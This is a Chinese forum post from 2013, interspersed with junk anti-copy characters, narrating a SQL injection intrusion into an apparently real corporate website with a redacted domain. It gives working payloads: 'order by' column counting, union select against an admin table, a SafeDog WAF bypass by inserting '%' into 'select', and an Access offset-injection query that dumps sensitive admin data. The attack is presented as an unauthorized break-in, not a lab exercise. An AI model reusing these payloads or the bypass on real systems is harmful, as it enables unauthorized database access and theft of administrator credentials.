打开网站，一个企业站。3 J) L1 z2 \, p/ w$ c: P. O
/ K2 h1 J8 @6 B
# l8 d% W; ]4 x! C7 ~7 R顺手加个admin
; i! R" r! Y* {5 F) B4 A' U
; I# ^( q- w2 R5 x( X8 p) W
) Q2 }& _# \9 `+ ~- l默认后台。
& Z! Z8 E3 D `/ F回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。
; h7 }; j; z/ a# t/ C! |2 l- o9 Z4 [* l
$ x( ^+ T9 }9 ]' j$ k# O
) y# g7 x% F1 N2 y& K" K
所以就不用御剑扫了，待会直接封IP。! o; f6 P |# M2 F7 g) w) g2 [
" K# W2 }! C2 z r
用order by语句判断是否存在注入。) Y2 D& }. ^- ?0 v, ]
http://www.xxx.com /product_show.asp?id=997 order by 1
: c7 |6 p b! Lhttp://www.xxx.com /product_show.asp?id=997 order by 100$ b- A8 w3 t# D! \
现在存在注入，经测试后发现是9个字段。
% A r; f0 i) K* p8 l & c7 [) i9 m, F+ H! A
接下来进行联合查询，猜是否存在admin表。' `. R0 i0 T* b1 Q+ |
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。
, ~! b& I# Z* B, H) t+ q5 `
- L$ K/ T7 k- N) ^8 F: w2 W/ b& y8 b C- a, `% F
) Y& L" w0 y7 R! A& U3 k' t
在select中间加个%,se%lect绕过安全狗。) \; j$ M' l6 C% b) C8 R/ H
8 S2 R2 T9 u* v- Q
+ x0 N: l' r& P, l5 v* k发现存在admin表，然后开始手工猜常用的字段。
8 q9 Z& K0 X! o纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
. x2 o* i W A z( E
* Z& N, K6 T P; |4 H7 j突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
7 B+ Q- @! S2 a . Z: m# l/ [( F. L( u! D# z
科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
7 C8 r! D0 Y' Qhttp://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
1 Q3 ^! ^0 d9 _* F2 o1 h& M好了，敏感内容出显了。
, o( j* J) q3 ?$ L* {, S' b6 N m% Y! e S; b
t/ | ~) D- [0 b
. K; c0 B( Z0 x4 S+ h2 `* }9 \4 E |
发表于 2013-3-8 21:49:45
收藏
支持
反对